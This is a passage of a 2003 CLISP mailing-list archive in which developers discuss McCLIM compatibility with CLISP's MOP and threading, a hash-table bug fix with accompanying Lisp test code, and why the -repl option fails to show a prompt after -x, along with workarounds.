Received: (qmail 412 invoked by uid 1000); 7 Dec 2003 09:44:16 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: survey: native compilation/lispworks References: <4noeuo4fqg.fsf@edgedsp7.rtp.ericsson.se> <87ptf4uxvx.fsf@plato.moon.paoloamoroso.it> <4nd6b32v6m.fsf@edgedsp7.rtp.ericsson.se> <873cbzxo7d.fsf@plato.moon.paoloamoroso.it> From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY In-Reply-To: (Sam Steingold's message of "Fri, 05 Dec 2003 11:38:50 -0500") Message-ID: <878ylpezdb.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sun Dec 7 01:51:01 2003 X-Original-Date: Sun, 07 Dec 2003 10:44:16 +0100 Sam Steingold writes: >> * Paolo Amoroso [2003-12-05 16:45:58 +0100]: >> >> CLISP stopped working with McCLIM when presentations, >> which are based on the MOP, were added to McCLIM. > > what MOP functionality is used? > CLISP CLOS is fairly MOPish, maybe a small compatibility layer could help? I forgot another important reason why McCLIM can not currently work with CLISP: the lack of multiprocessing support. Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From amoroso@mclink.it Mon Dec 08 03:08:13 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ATJFN-00005E-Mu for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 03:08:13 -0800 Received: from mail6.mclink.it ([195.110.128.67]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ATJFN-0001NZ-3A for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 03:08:13 -0800 Received: from net145-045.mclink.it (net145-049.mclink.it [195.110.145.49]) by mail6.mclink.it (8.12.6p2/8.12.3) with ESMTP id hB8B84Eh034461 for ; Mon, 8 Dec 2003 12:08:09 +0100 (CET) (envelope-from amoroso@mclink.it) Received: (qmail 1889 invoked by uid 1000); 8 Dec 2003 10:43:30 -0000 To: McCLIM Cc: CLISP From: Paolo Amoroso Organization: Paolo Amoroso - Milano, ITALY Message-ID: <87wu971tf1.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Can McCLIM work with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 8 03:09:00 2003 X-Original-Date: Mon, 08 Dec 2003 11:43:30 +0100 There has been a recent discussion in the clisp-list mailing list (I hope it's acceptable to Cc: clisp-list) about the possibility of making McCLIM work with CLISP. I told there my experience with early versions of McCLIM, and I have been asked what would be involved in making it work again with CLISP. I was able to run early versions of McCLIM with CLISP and MIT CLX. There were noticeable peformance improvements between the very first and last versions of McCLIM I tested. In the end, performance was "acceptable" for me under Linux with an old Pentium 200 PC with 64 MB of RAM. McCLIM stopped working with CLISP when presentations were added. At the time, the use of metaclasses was mentioned in the context of presentations, and I assumed that actual CLOS MOP metaclasses were used to implement them. But a superficial inspection of the code shows that some sort of custom metaclass mechanism is used instead. Since I am not familiar with the internals of McCLIM, I'd like to ask how much effort would be needed to make it work again with CLISP, and what are the most probable sources of incompatibility. Besides the above mentioned problem related to presentations, the issue of CLIM-style multiproccesing, which CLISP does not provide yet, comes to mind. I have been asked what kind of multiprocessing support is required for running McCLIM: fork, threads, pvm, mpi? Paolo -- Why Lisp? http://alu.cliki.net/RtL%20Highlight%20Film From moore@bricoworks.com Mon Dec 08 13:20:35 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ATSnz-0002AZ-L2 for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 13:20:35 -0800 Received: from spork.dreamhost.com ([66.33.219.4] ident=postfix) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1ATSnz-0008RQ-Bt for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 13:20:35 -0800 Received: from [192.168.0.2] (ca-bordeaux-16-161.w80-8.abo.wanadoo.fr [80.8.88.161]) by spork.dreamhost.com (Postfix) with ESMTP id 0577F11DC37; Mon, 8 Dec 2003 13:19:26 -0800 (PST) In-Reply-To: <87wu971tf1.fsf@plato.moon.paoloamoroso.it> References: <87wu971tf1.fsf@plato.moon.paoloamoroso.it> Mime-Version: 1.0 (Apple Message framework v606) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <2A99CF37-29C4-11D8-921A-000A959839F8@bricoworks.com> Content-Transfer-Encoding: 7bit Cc: CLISP , McCLIM From: Timothy Moore To: Paolo Amoroso X-Mailer: Apple Mail (2.606) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Can McCLIM work with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 8 13:21:03 2003 X-Original-Date: Mon, 8 Dec 2003 22:19:11 +0100 On Dec 8, 2003, at 11:43 AM, Paolo Amoroso wrote: > There has been a recent discussion in the clisp-list mailing list (I > hope it's acceptable to Cc: clisp-list) about the possibility of > making McCLIM work with CLISP. I told there my experience with early > versions of McCLIM, and I have been asked what would be involved in > making it work again with CLISP. > ... > McCLIM stopped working with CLISP when presentations were added. At > the time, the use of metaclasses was mentioned in the context of > presentations, and I assumed that actual CLOS MOP metaclasses were > used to implement them. But a superficial inspection of the code shows > that some sort of custom metaclass mechanism is used instead. No, we use as much of the MOP as we can. The catch is that McCLIM has to do a lot of work at compile time before the metaclasses are available, so the mixin that is a superclass of the presentation type metaclass is also used standalone at compile time. Another thing that confuses the issue is that the describe function and the Listener app use the MOP too, and there is support for them in the Lisp-dep files, but those are demos and not necessary to get the core bits of McCLIM running. Of course, they are nice to have. You can grep for clim-mop in the sources and see all the uses of the MOP. The highlights for the presentation type system are: Ability to define subclasses (metaclasses) of standard-class and standard-generic-function and instantiate classes of those metaclasses class-prototype class-precedence-list class-direct-superclasses ensure-class method-specializers eql-specializer eql-specializer-object specialization of compute-applicable-methods-using-classes, compute-applicable-methods generic-function-methods extract-specializer-names extract-lambda-list > > Since I am not familiar with the internals of McCLIM, I'd like to ask > how much effort would be needed to make it work again with CLISP, and > what are the most probable sources of incompatibility. See above :) We of course make heavy use of Gray streams; I don't know what the status of that is in CLISP. Also, at one time nested backquote didn't work in CLISP, though I suppose that is ancient history. > > Besides the above mentioned problem related to presentations, the > issue of CLIM-style multiproccesing, which CLISP does not provide yet, > comes to mind. I have been asked what kind of multiprocessing support > is required for running McCLIM: fork, threads, pvm, mpi? > Lispm style processes, which are really threads. McCLIM also works in a non-threaded mode which only allows one application to run at a time. Hope this helps, Tim From sds@alphatech.com Mon Dec 08 13:34:30 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ATT1S-0002tu-MZ for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 13:34:30 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ATT1S-0002cF-4E for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 13:34:30 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hB8LYCw05724; Mon, 8 Dec 2003 16:34:12 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: clisp-list@lists.sourceforge.net, Timothy Moore Cc: free-clim@mikemac.com Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <2A99CF37-29C4-11D8-921A-000A959839F8@bricoworks.com> (Timothy Moore's message of "Mon, 8 Dec 2003 22:19:11 +0100") References: <87wu971tf1.fsf@plato.moon.paoloamoroso.it> <2A99CF37-29C4-11D8-921A-000A959839F8@bricoworks.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Can McCLIM work with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 8 13:35:01 2003 X-Original-Date: Mon, 08 Dec 2003 16:34:12 -0500 > * Timothy Moore [2003-12-08 22:19:11 +0100]: > >> Since I am not familiar with the internals of McCLIM, I'd like to ask >> how much effort would be needed to make it work again with CLISP, and >> what are the most probable sources of incompatibility. > See above :) We of course make heavy use of Gray streams; I don't know > what the status of that is in CLISP. available in the GRAY package (re-exported from EXT and thus available in CL-USER) > Also, at one time nested backquote didn't work in CLISP, though I > suppose that is ancient history. works fine. > we use as much of the MOP as we can. why? it's not in the CLtS. -- Sam Steingold (http://www.podval.org/~sds) running w2k Abandon all hope, all ye who press Enter. From moore@bricoworks.com Mon Dec 08 13:45:08 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ATTBj-0003eV-VI for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 13:45:07 -0800 Received: from spork.dreamhost.com ([66.33.219.4] ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ATTBj-0006Wp-IX for clisp-list@lists.sourceforge.net; Mon, 08 Dec 2003 13:45:07 -0800 Received: from [192.168.0.2] (ca-bordeaux-16-161.w80-8.abo.wanadoo.fr [80.8.88.161]) by spork.dreamhost.com (Postfix) with ESMTP id 5E8A211DC1F; Mon, 8 Dec 2003 13:44:52 -0800 (PST) In-Reply-To: References: <87wu971tf1.fsf@plato.moon.paoloamoroso.it> <2A99CF37-29C4-11D8-921A-000A959839F8@bricoworks.com> Mime-Version: 1.0 (Apple Message framework v606) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit Cc: free-clim@mikemac.com From: Timothy Moore To: clisp-list@lists.sourceforge.net X-Mailer: Apple Mail (2.606) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: Can McCLIM work with CLISP? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Mon Dec 8 13:46:00 2003 X-Original-Date: Mon, 8 Dec 2003 22:44:51 +0100 On Dec 8, 2003, at 10:34 PM, Sam Steingold wrote: >> * Timothy Moore [2003-12-08 22:19:11 +0100]: ... >> we use as much of the MOP as we can. > > why? it's not in the CLtS. Neither are Gray streams and processes, but that doesn't stop us :) A less glib answer: presentation types are a system of classes, objects and methods. It's a bit different from CLOS but they do share a lot of characteristics. The MOP is ideal for implementing this kind of system and was a big timesaver in attacking a problem that had held up free CLIM efforts for years. Tim From mcross@irobot.com Tue Dec 09 08:09:35 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1ATkQZ-000143-CD for clisp-list@lists.sourceforge.net; Tue, 09 Dec 2003 08:09:35 -0800 Received: from brick.irobot.com ([66.238.211.199] helo=smtp1.irobot.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1ATkQY-0002VU-Kt for clisp-list@lists.sourceforge.net; Tue, 09 Dec 2003 08:09:35 -0800 Received: from byunghyun.irobot.com (dhcp-eng-110.hq.irobot.com [192.168.161.110]) by smtp1.irobot.com (Postfix) with ESMTP id 7A5E7394EDF; Tue, 9 Dec 2003 11:09:15 -0500 (EST) Message-Id: <5.1.1.6.2.20031209110543.00af7d98@mail.hq.irobot.com> X-Sender: mcross@mail.hq.irobot.com X-Mailer: QUALCOMM Windows Eudora Version 5.1.1 To: clisp-list@lists.sourceforge.net, clisp-list@lists.sourceforge.net From: Matt Cross Subject: Re: [clisp-list] Re: Bug in hash tables? In-Reply-To: References: <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> <5.1.1.6.2.20031202164046.00b16840@mail.hq.irobot.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Tue Dec 9 08:10:03 2003 X-Original-Date: Tue, 09 Dec 2003 11:09:30 -0500 At 04:32 PM 12/4/2003 -0500, Sam Steingold wrote: >this is a bug in CLISP, introduced on 2003-05-13. >Please try the appended patch. Sorry it took me a while to get to trying this patch. It fixes the problem for me. Thanks for your quick work on this! I've also come up with quicker test code, some flavor of this may be useful to add to the test suite: (defun check-hash-unique (hashtbl size) (let* ((array-size (+ size 1)) (keys (make-array array-size :initial-element nil)) (hash-ok t) ) (loop for key being the hash-keys of hashtbl for key-num = (read-from-string (symbol-name key)) when (svref keys key-num) do (progn (format t "Key '~a' occurs multiple times in the hash table!~%" key) (setf hash-ok nil) ) else do (setf (svref keys key-num) t) ) hash-ok ) ) (defparameter *hashtbl* (make-hash-table :size 1000)) (defun do-hash-test (&optional (entries 150000)) (clrhash *hashtbl*) (loop for countval upfrom 1 upto entries for newsym = (intern (format nil "~a" countval)) do (progn (gethash newsym *hashtbl*) (setf (gethash newsym *hashtbl*) t) (setf (gethash newsym *hashtbl*) countval) ) finally return (progn (format t "built table, now checking...~%") (check-hash-unique *hashtbl* entries) ) ) ) From taube@uiuc.edu Sat Dec 13 07:52:43 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVC4R-0000PC-Sd for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 07:52:43 -0800 Received: from staff2.cso.uiuc.edu ([128.174.5.53] ident=root) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AVC4R-0004vv-IU for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 07:52:43 -0800 Received: from uiuc.edu (pinhead.music.uiuc.edu [128.174.103.233]) by staff2.cso.uiuc.edu (8.12.10/8.12.10) with ESMTP id hBDFqen1022237; Sat, 13 Dec 2003 09:52:40 -0600 (CST) Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v553) Cc: tkunze@ccrma.stanford.edu To: clisp-list@lists.sourceforge.net From: Rick Taube Content-Transfer-Encoding: 7bit Message-Id: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> X-Mailer: Apple Mail (2.553) X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] -repl problem in clisp 2.31 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 13 07:53:01 2003 X-Original-Date: Sat, 13 Dec 2003 09:52:40 -0600 Hi, Im trying to make a script that beginning lisp users will use. this script will 1 start up clisp 2 load a file 3 eval an expression and then 4 enter the standard clisp repl. If I do: clisp -i src/make.lisp -x "(make-cm :save-image nil)" -repl it almost works, except that the poor user is left at the _read_ step of the repl without having received any repl prompt at all, which is confusing at best -- it looks to a user as if lisp is "hung": ... ; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/midishare.fas" ; Compiling "/Lisp/cm-2.4.0/src/midishare/player.lisp" ; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/player.fas" ; Compiling "/Lisp/cm-2.4.0/src/cmn.lisp" ; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/cmn.fas" ; Garbage collecting... T at this point you have to enter an expression,say 1, to get the prompt! T1 CM[3]> What I would like to have happen is for the normal clisp session to start, only that a file has been loaded and an expression has been evaluated before the user starts working. Is there way to get this behavior in clisp 2.31 ?? I\ tried a workaround of creating a file called "start.lisp" that contains (load "src/make.lisp") (make-cm :save-image nil) and simply loading that: clisp -l start.lisp but this wont work either, because my make-cm function wants to set *package* and *readtable* to values for Common Music, and the load function protects these globals during the load such that the user is stil in cl-user after make-cm does its job. any advixce would be greatly appreciated! Rick Taube Associate Professor, Composition/Theory School of Music University of Illinois Urbana, IL 61821 USA net: taube@uiuc.edu fax: 217 244 8319 vox: 217 244 2684 From pascal@informatimago.com Sat Dec 13 08:43:12 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVCrI-0002AQ-1P for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 08:43:12 -0800 Received: from [62.93.174.78] (helo=larissa.informatimago.com ident=postfix) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AVCrH-0002ic-7F for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 08:43:11 -0800 Received: from thalassa.informatimago.com (unknown [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 60F43586E4; Sat, 13 Dec 2003 17:43:01 +0100 (CET) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 67ED33840B; Sat, 13 Dec 2003 17:42:31 +0100 (CET) Message-ID: <16347.16759.343874.905842@thalassa.informatimago.com> To: Rick Taube Cc: clisp-list@lists.sourceforge.net, tkunze@ccrma.stanford.edu Subject: [clisp-list] -repl problem in clisp 2.31 ? In-Reply-To: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> References: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> X-Mailer: VM 7.17 under Emacs 21.3.1 Reply-To: From: Pascal J.Bourguignon Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 13 08:44:01 2003 X-Original-Date: Sat, 13 Dec 2003 17:42:31 +0100 Rick Taube writes: > I\ tried a workaround of creating a file called "start.lisp" that > contains > (load "src/make.lisp") > (make-cm :save-image nil) > > and simply loading that: > > clisp -l start.lisp > > but this wont work either, because my make-cm function wants to set > *package* and *readtable* to values for Common Music, and the load > function protects these globals during the load such that the user is > stil in cl-user after make-cm does its job. > > any advixce would be greatly appreciated! Why not just put (load "src/make.lisp") (make-cm :save-image nil) in the user's ~/.clisprc.lisp ? -- __Pascal_Bourguignon__ . * * . * .* . http://www.informatimago.com/ . * . .* There is no worse tyranny than to force * . . /\ () . * a man to pay for what he does not . . / .\ . * . want merely because you think it .*. / * \ . . would be good for him. -- Robert Heinlein . /* o \ . http://www.theadvocates.org/ * '''||''' . SCO Spam-magnet: postmaster@sco.com ****************** From taube@uiuc.edu Sat Dec 13 10:40:41 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVEgz-0005aG-7I for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 10:40:41 -0800 Received: from smtp806.mail.sc5.yahoo.com ([66.163.168.185]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1AVEgy-0001TX-V8 for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 10:40:40 -0800 Received: from unknown (HELO galen) (rick.taube@sbcglobal.net@64.108.1.58 with login) by smtp806.mail.sc5.yahoo.com with SMTP; 13 Dec 2003 18:40:40 -0000 Message-ID: <000801c3c1a9$388f8730$3a016c40@galen> From: "Rick Taube" To: Cc: , References: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> <16347.16759.343874.905842@thalassa.informatimago.com> Subject: Re: [clisp-list] -repl problem in clisp 2.31 ? MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4910.0300 X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 13 10:41:02 2003 X-Original-Date: Sat, 13 Dec 2003 12:45:02 -0600 > Why not just put > (load "src/make.lisp") > (make-cm :save-image nil) > in the user's ~/.clisprc.lisp ? thanks for the suggestion but i want to start the software from a script wihout any installation steps whatsoever and i was hoping there was some way around my -repl problem. I cant tell if the behavior of -repl that I reported is a bug or not, but given clisp 2.31's command args it seems it should be possible for a .sh script to do what I want. I could save an image on the cd as well, but i would prefer not to. From sds@gnu.org Sat Dec 13 23:34:49 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVQm9-00038H-7M for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 23:34:49 -0800 Received: from smtp02.mrf.mail.rcn.net ([207.172.4.61]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AVQm8-0001aC-Sa for clisp-list@lists.sourceforge.net; Sat, 13 Dec 2003 23:34:48 -0800 Received: from 65-78-20-143.c3-0.nwt-ubr2.sbo-nwt.ma.cable.rcn.com ([65.78.20.143] helo=WINSTEINGOLDLAP) by smtp02.mrf.mail.rcn.net with esmtp (Exim 3.35 #4) id 1AVQm7-0005B5-00; Sun, 14 Dec 2003 02:34:48 -0500 To: clisp-list@lists.sourceforge.net, Rick Taube Cc: Bruno Haible Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> (Rick Taube's message of "Sat, 13 Dec 2003 09:52:40 -0600") References: <61A8264C-2D84-11D8-A1C8-000A95674CE4@uiuc.edu> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: -repl problem in clisp 2.31 ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Sat Dec 13 23:35:01 2003 X-Original-Date: Sun, 14 Dec 2003 02:34:46 -0500 > * Rick Taube [2003-12-13 09:52:40 -0600]: > > 1 start up clisp > 2 load a file > 3 eval an expression and then > 4 enter the standard clisp repl. > > clisp -i src/make.lisp -x "(make-cm :save-image nil)" -repl > > it almost works, except that the poor user is left at the _read_ step of > the repl without having received any repl prompt at all, which is > confusing at best -- it looks to a user as if lisp is "hung": > ... > ; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/midishare.fas" > ; Compiling "/Lisp/cm-2.4.0/src/midishare/player.lisp" > ; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/player.fas" > ; Compiling "/Lisp/cm-2.4.0/src/cmn.lisp" > ; Loading "/Lisp/cm-2.4.0/bin/clisp_2.31_darwin-powerpc/cmn.fas" > ; Garbage collecting... > T > > at this point you have to enter an expression,say 1, to get the prompt! > T1 > CM[3]> -x -repl works like this: all -x arguments are concatenated into a string, terminated with a newline and turned into a string-input-stream, which is concatenated with terminal into a concatenated stream, which is fed to the REPL. REPL prints the prompt only when the *standard-input* is interactive. so "(make-cm :save-image nil)" is read and executed and REPL is now reading from a concatenated stream of a string stream which contains just the separating newline and the terminal. this stream is not interactive (interactivity is decided based on the first stream in the concatenated stream), so no prompt. why newline? suppose you have "-x *standard-input* -repl": then - without the newline - CLISP will wait for your input before trying to evaluate *standard-input*. now, for your specific case, the workaround is obvious: try clisp -i src/make.lisp -x "(make-cm :save-image nil) t" -repl or clisp -i src/make.lisp -x "(make-cm :save-image nil)" -x 1 -repl this will print an extra 1 (or t) but reading the non-list will consume the separator newline and the REPL will print the prompt because the string input stream is now empty. now how can this be fixed? remove the newline separator? but then you will need to do clisp -x '*standard-input* ' -repl (note space after the variable name). create a separate REPL for "-x" and the interactive session? hmm... -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who can't write, write manuals. From hin@van-halen.alma.com Sun Dec 14 05:10:06 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.24) id 1AVW0c-0000B3-IX for clisp-list@lists.sourceforge.net; Sun, 14 Dec 2003 05:10:06 -0800 Received: from coopers.dsl.net ([65.84.81.5]) by sc8-sf-mx1.sourceforge.net with 